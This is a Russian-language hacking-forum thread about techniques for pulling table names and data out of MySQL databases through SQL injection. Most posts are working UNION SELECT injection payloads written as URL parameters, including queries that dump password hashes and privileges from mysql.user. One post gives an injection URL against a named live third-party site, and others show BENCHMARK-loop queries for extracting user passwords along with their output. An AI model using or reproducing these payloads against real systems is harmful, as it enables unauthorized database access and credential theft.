Использование GROUP_CONCAT() + NOT IN () [MySQL] (Предназначено прежде всего для новичков). Многие привыкли использовать функцию GROUP_CONCAT() которая объединяет несколько возвращаемых запией в одну. Это позволяет быстро получить нужные данные в случаях, если скрипт отображает только один результат. Но из-за ограничения group_concat_max_len (по умолчанию - 1024) при больших объёмах данных польза данной функции стремится к нулю, так как при превышении данного лимита результирующая строка обрезается. Существует выход из данной ситуации. В MySQL (и не только) есть такая конструкция, как NOT IN () (которая, кстати, нередко применяется при атаке на MSSQL). Примерный синтаксис: PHP: expression NOT IN ('value1' [, 'value2', ...]) Данное выражение возвращает 1 (истина), если expression НЕ равно ни одному из значений, перечисленных в скобках (value). Таким образом, путём подстановки этой конструкции в условие WHERE мы можем исключить уже полученные с помощью GROUP_CONCAT() данные, таким образом получив ранее недоступные записи, которые не умещались в предел group_concat_max_len. Рассмотрим на конкретном примере. Я использовал предел group_concat_max_len в ~340 символов вместо 1024 (принципиальной разницы нет). Запрос PHP: SELECT GROUP_CONCAT(`table_name`) FROM `information_schema`.`tables` как и ожидается, выводит не все записи: Code: CHARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS, COLUMN_PRIVILEGES, KEY_COLUMN_USAGE, PROFILING, ROUTINES, SCHEMATA, SCHEMA_PRIVILEGES STATISTICS, TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES,TRIGGERS, USER_PRIVILEGES, VIEWS, _table_1, _table_2, _table_3, _table_4, _table_5, _table_6, _table_7, _table_8 Необходимо занести все полученные строки в NOT IN (): PHP: SELECT GROUP_CONCAT(`table_name`) FROM `information_schema`.`tables` WHERE `table_name` NOT IN ('CHARACTER_SETS', 'COLLATIONS', 'COLLATION_CHARACTER_SET_APPLICABILITY', 'COLUMNS', 'COLUMN_PRIVILEGES', 'KEY_COLUMN_USAGE', 'PROFILING', 'ROUTINES', 'SCHEMATA', 'SCHEMA_PRIVILEGES', 'STATISTICS', 'TABLES', 'TABLE_CONSTRAINTS', 'TABLE_PRIVILEGES', 'TRIGGERS', 'USER_PRIVILEGES', 'VIEWS', '_table_1', '_table_2', '_table_3', '_table_4', '_table_5', '_table_6', '_table_7', '_table_8') Этот запрос вернёт список последующих таблиц (так как предыдущие были исключены): Code: _table_9, _table_10, _table_11, _table_12, .... _table_30, Для получения следующей порции записей, необходимо исключить вышеприведённые имена таблиц, то есть добавить к уже существующему списку. К этому и сводится принцип данного метода. ---------------------------------------------------------------------------------- Примечания: + Одним из неудобств данного метода является необходимость в рутинной операции форматирования полученных записей для подстановки в список NOT IN () Но эту задачу можно возложить на MySQL, немного модифицировав целевой запрос: PHP: SELECT GROUP_CONCAT(CONCAT(0x27, `table_name`, 0x27) SEPARATOR ',+') FROM `information_schema`.`tables` Данный запрос вернёт уже отформатированную последовательность (с кавычками и эквивалентами пробелов "+"), готовую для подстановки в список исключения и пересылки по HTTP (остаётся только подставить в URL): Code: 'CHARACTER_SETS',+'COLLATIONS',+'COLLATION_CHARACTER_SET_APPLICABILITY',+'COLUMNS',+'COLUMN_PRIVILEGES',+'KEY_COLUMN_USAGE',+'PROFILING',+'ROUTINES',+'SCHEMATA',+'SCHEMA_PRIVILEGES',+'STATISTICS',+'TABLES',+'TABLE_CONSTRAINTS',+'TABLE_PRIVILEGES',+'TRIGGERS',+'USER_PRIVILEGES',+'VIEWS',+'aaaaa',+'bbbbb',+'cccccc',+'ddddd',+'eeeeee',+'fffffff',+'gggggg',+'hhhhhh' + При получении имён таблиц можно исключать существующие по умолчанию таблицы из information_schema путём подстановки условия: PHP: AND `table_schema` <> 'information_schema' что ещё больше сэкономит время. ---------------------------------------------------------------------------------- Плюсы: + В разы уменьшается количество запросов к сайту (имена всех таблиц в большинстве случаев можно получить 2-3 запросами). Минусы: - При очень длинных запросах есть вероятность превысить максимальный предел длины URI-строки, в результате чего она обрежется, что породит ошибку синтаксиса MySQL. ----------------------------------------------------------------------------------
Это изврат. Куда менее гимморойно : a=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema!='information_schema' вывод(допустим): yes no lol следующим запросом вбиваем последнюю из выведенных колонок: a=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema!='information_schema'+and+table_name>'lol' И вывод пойдёт с неё по алфавиту Это описывал l1ght https://forum.antichat.ru/showpost.php?p=1087388&postcount=5144 Или различные групировки по полям, базам и т.д. в которых отлично работает лимит a=-1+union+select+group_concat(table_name)+from+information_schema.tables+group+by+table_schema+limit+1,1 a=-1+union+select+group_concat(concat_ws(0x3a,user,password,file_priv))+from+mysql.user+group+by+file_priv+limit+1,1 Которые тоже уже описывались мной: https://forum.antichat.ru/showpost.php?p=1090945&postcount=5213
Или так: GROUP_CONCAT(TABLE_NAME)+FROM+information_schema.tables+WHERE+ASCII(LOWER(TABLE_NAME))= 97 - выведет все таблы, начинающиеся на ''a" - независимо от регистра (или использовать такие же знаки > или <) реальный пример: Code: http://www.unialco.com.br/jobs/details.php?id=-48'+union+select+1,2,GROUP_CONCAT(TABLE_NAME),4,5,6,7,8,9,10+FROM+information_schema.tables+WHERE+ASCII(LOWER(TABLE_NAME))=99+--+
А можно объявить переменные и пустить вывод таблиц по циклу benchmark(). Выглядеть это может примерно так: Code: SELECT @count:=1, @out:=' ', BENCHMARK(10, @out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',name,password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id_user=@count LIMIT 0,1))), @out
забавно, то же самое обсуждали с джоком год назад но ближе к телу, после ряда тестов на локалке заметил косяк: Code: mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> create table users (id char(255),password char(255)); Query OK, 0 rows affected (0.03 sec) mysql> insert into users values (1,'lala1'),(2,'lala2'),(3,'lala3'),(11,'lala888'),(12,'lala999'); Query OK, 5 rows affected (0.00 sec) Records: 5 Duplicates: 0 Warnings: 0 mysql> SELECT @count:=1,@out:=' ',BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out; +-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+ | @count:=1 | @out:=' ' | BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT0,1))) | @out | +-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+ | 1 | | 0 | <br>lala1;2<br>lala2;3<br>lala3;4 | +-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+ 1 row in set (0.00 sec) mysql> SELECT @count:=1,@out:=' ',BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out; +-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+ | @count:=1 | @out:=' ' | BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out | +-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+ | 1 | | 0 | NULL | +-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+ 1 row in set (0.00 sec) mysql> SELECT @count:=1,@out:=' ',BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out; +-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+ | @count:=1 | @out:=' ' | BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out | +-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+ | 1 | | 0 | NULL | +-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+ 1 row in set (0.01 sec) после первой пустой выборки зануляется весь @out как вариант: Code: mysql> select concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char)); +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char)) | +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 010lala999:lala888:lala3:lala2:lala1:2341213 | +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.03 sec) подогнал все под 1 столбец, 010 - @a,@b,benchmark (вывод уже лень подгонять) в полевых условиях: => => ? >4.1
l1ght, да-да, я из-за этого косяка и написал слово "примерно". Я делал проверку на существование конструкцией IFNULL(@count+1,@count), чтоб было как можно короче, но почему-то она не помогла... Спасибо за рабочий запрос)
http://localhost/newsportal/haber/index.php?id=1+and+1=0+union+select+1,group_concat(column_name,0x3A,table_name),3,4,5+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C6D656D29292E2A+limit+0,1)+limit+0,1-- Этот запрос выведет название таблицы и полей указанных в регекспе-.*((us[ue]|log[io]n|mem)).* к примеру:members:id,members:name,membersassword etc... естественно если такие есть в базе проверено в полевых условиях....работает Взято здесь:http://undersecurity.net/sql-union-injection/optimizacion-de-sql-union-injection-en-mysql enjoy